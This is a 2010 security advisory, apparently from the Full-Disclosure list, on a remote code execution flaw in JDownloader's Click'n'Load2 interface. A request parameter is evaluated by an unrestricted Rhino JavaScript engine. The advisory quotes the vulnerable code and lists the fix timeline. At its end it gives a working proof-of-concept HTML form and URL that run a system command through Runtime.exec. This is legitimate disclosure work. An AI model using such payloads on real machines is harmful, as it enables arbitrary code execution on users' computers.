JDownloader support suffer from a code execution vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1- -- ProductJDownloader[1] is an open source download manager for One-Click-Filehoster like Rapidshare or Megaupload. The Click'n'Load[2] interfaceallows external applications and websites to send URLs to the localrunning JDownloader. With Click'n'Load2 [3] it is possible to sentAES-CBC encrypted URLs (for some kind of link 'obfuscation').The encrypted payload _and_ key are sent with an HTTP-POST submit onlocalhost port 9666 (default port, listening on any(0.0.0.0)).[1] http://jdownloader.org/[2] http://jdownloader.org/knowledge/wiki/glossary/click-n-load[3] http://jdownloader.org/knowledge/wiki/glossary/cnl2- -- VulnerabilityThe transmitted key can be plaintext or javascript code that is thenexecuted by JDownloader with the Mozilla Rhino Javascriptimplementation. Here is the code for this: (plugins/JDExternInterface.jar / JDExternInterface.java)  String jk = Encoding.urlDecode(request.getParameters().get("jk"), false);  [...]  Context cx = Context.enter();  Scriptable scope = cx.initStandardObjects();  String fun = jk + "  f()";  Object result = cx.evaluateString(scope, fun, "<cmd>", 1, null);  key = JDHexUtils.getByteArray(Context.toString(result));  Context.exit();The Default Context that is initialized here, allows the javascript toexecute without any security restrictions. The javascript can import anduse any java library resulting in an remote code execution flaw.After the form data is sent, JDownloader will, depending on transmitted_Referer/Source and/or User-Agent_, ask for permission to add Links fromexternal Website/Application, the code is executed after the userconfirms.- -- Affected VersionsAll versions prior 2010-01-25 (with Click'n'Load 2 support) arevulnerable. (Release version 0.9.334)- -- SolutionsUpdate JDownloader to the newest version with the Autoupdate/Webupdate.I recommend to disable the remote interface (FlashGot for Firefox)in the "AddOn Manager" configuration.- -- Timeline2010-01-25 - Vulnerability reported to vendor2010-01-25 - Vendor security fix via autoupdate2010-02-08 - Public Disclosure- -- Proof of Concept<form action="http://localhost:9666/flash/addcrypted2" method="post"><textarea name="jk">function f() {    var run = java.lang.Runtime.getRuntime();    run.exec('/usr/bin/xclock');    return '42';}</textarea><input type="hidden" name="passwords" value="invalid" /><input type="hidden" name="source" value="http://example.com/invalid" /><input type="hidden" name="crypted" value="invalid" /><input type="submit" value="CLICK" /></form>or:http://localhost:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B+return+'42'%3B+%7D&passwords=invalid&source=http://example.com/invalid&crypted=invalid- -- ConclusionIt seems that this is a common misuse of the Rhino JavaScript[1]library, that is dangerous whenever arbitrary JavaScript is executed.There many other libraries and applications may vulnerable to this kindof vulnerability.[1] http://www.mozilla.org/rhino/- --(a) (p)roof (o)f (c)oncept ..  http://apoc.sixserv.org/-----BEGIN PGP SIGNATURE-----Version: GnuPG v1.4.10 (GNU/Linux)Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/iEYEARECAAYFAktv1TEACgkQWlhozqFVuMt4NACffRjgnf/2p4sP4XlvBSrjXDdrFSEAn3+6nlkAzdv47a7YnuPgNc+xo957=tPlp-----END PGP SIGNATURE-----_______________________________________________Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/